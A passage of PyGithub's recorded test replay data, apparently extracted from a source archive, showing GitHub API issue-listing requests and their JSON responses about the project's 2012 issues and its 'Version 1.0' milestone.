parameters","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":null,"created_at":"2012-05-29T11:33:19Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4793162,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T11:29:46Z","body":"https://api.github.com/hooks is not documented, but it is referred by http://developer.github.com/v3/repos/hooks/#create-a-hook","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/35","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"closed_issues":6,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":35,"html_url":"https://github.com/PyGithub/PyGithub/issues/35","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Implement https://api.github.com/hooks","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":null,"created_at":"2012-05-29T11:29:46Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4793106,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T11:41:39Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/12","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"closed_issues":6,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":12,"html_url":"https://github.com/PyGithub/PyGithub/issues/12","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Structure all attributes and make them either mandatory or optional","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"closed_at":null,"created_at":"2012-03-13T06:21:57Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3624556,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T11:24:24Z","body":"Check that there is no more `toto`s in code\nCheck that we have 100% test coverage","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/9","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"closed_issues":6,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":9,"html_url":"https://github.com/PyGithub/PyGithub/issues/9","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Publish version 1.0","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"closed_at":null,"created_at":"2012-03-12T21:58:05Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3619973,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T11:31:37Z","body":"All attributes and method parameters must have an identified and documented type","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"closed_issues":6,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":4,"html_url":"https://github.com/PyGithub/PyGithub/issues/4","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Review public interface homogeneity ","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"closed_at":null,"created_at":"2012-03-06T16:48:40Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3527266,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/PyGithub/PyGithub/issues?mentioned=Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4864'), ('content-length', '2210'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bf7c5823992799efca0369752072ec8e"'), ('date', 'Tue, 29 May 2012 18:39:46 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-29T18:38:53Z","body":"For example, in `Organization.get_repos( type )`, `type` should be added to the url, as described in http://developer.github.com/v3/repos/#list-organization-repositories","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/36","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":6,"number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":36,"html_url":"https://github.com/PyGithub/PyGithub/issues/36","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Re-implement url parameters","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":null,"created_at":"2012-05-29T11:33:19Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4793162,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetIssuesWithWildcards.txt0000644000175100001660000014110314756101563026401 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues?milestone=%2A {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '16480'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"28fffaa40fef9cdb999d5b217e212f0a"'), ('date', 'Sat, 02 Jun 2012 06:15:11 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"title":"Use type datetime.datetime for appropriate attributes/arguments","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"d7e102","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface"}],"created_at":"2012-05-30T06:16:47Z","state":"open","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/41","assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-06-01T20:25:31Z","body":"","comments":0,"number":41,"id":4809786,"html_url":"https://github.com/PyGithub/PyGithub/issues/41","milestone":{"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Understand and implement POST /repos/:user/:repo/pulls/:number/comments with in_reply_to","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"e102d8","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities"}],"created_at":"2012-05-29T11:39:15Z","state":"open","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/37","assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-29T11:39:15Z","body":"Cf http://developer.github.com/v3/pulls/comments/#alternative-input, but my first tests did not succeed.","comments":0,"number":37,"id":4793216,"html_url":"https://github.com/PyGithub/PyGithub/issues/37","milestone":{"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Check that there is no more `toto`s in code","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-05-29T07:13:42Z","state":"open","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/34","assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-31T09:53:27Z","body":"","comments":0,"number":34,"id":4789817,"html_url":"https://github.com/PyGithub/PyGithub/issues/34","milestone":{"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"List project(s) using PyGithub","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-05-07T10:49:06Z","state":"open","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/25","assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","comments":0,"number":25,"id":4452000,"html_url":"https://github.com/PyGithub/PyGithub/issues/25","milestone":{"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Document issue reporting","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-03-13T12:09:48Z","state":"open","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/17","assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-03-13T12:09:48Z","body":"","comments":0,"number":17,"id":3628022,"html_url":"https://github.com/PyGithub/PyGithub/issues/17","milestone":{"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Add copyright and license notice","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-03-13T06:25:31Z","state":"open","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/16","assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-03-13T07:04:42Z","body":"","comments":0,"number":16,"id":3624595,"html_url":"https://github.com/PyGithub/PyGithub/issues/16","milestone":{"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Publish version 1.0","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-03-12T21:58:05Z","state":"open","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/9","assignee":null,"closed_at":null,"updated_at":"2012-06-02T06:14:47Z","body":"Check that there is no more `toto`s in code\nCheck that we have 100% test coverage","comments":0,"number":9,"id":3619973,"html_url":"https://github.com/PyGithub/PyGithub/issues/9","milestone":{"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Use objects instead of string for shas, ids, etc. arguments","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"d7e102","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface"}],"created_at":"2012-03-06T16:46:49Z","state":"open","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2","assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-06-01T20:19:54Z","body":"","comments":0,"number":2,"id":3527231,"html_url":"https://github.com/PyGithub/PyGithub/issues/2","milestone":{"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}}] https GET api.github.com None /repos/PyGithub/PyGithub/issues?milestone=none {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '7399'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"27992c230165868561de1a0461b6fb75"'), ('date', 'Sat, 02 Jun 2012 06:15:12 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"title":"Make all attributes either optional or mandatory","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"labels":[{"color":"d7e102","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface"}],"created_at":"2012-05-30T20:00:36Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/43","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-30T20:00:36Z","body":"","comments":0,"number":43,"id":4823331,"html_url":"https://github.com/PyGithub/PyGithub/issues/43","milestone":null},{"title":"Create enumerations for string attributes/arguments with a finite set of values","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"labels":[{"color":"d7e102","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public 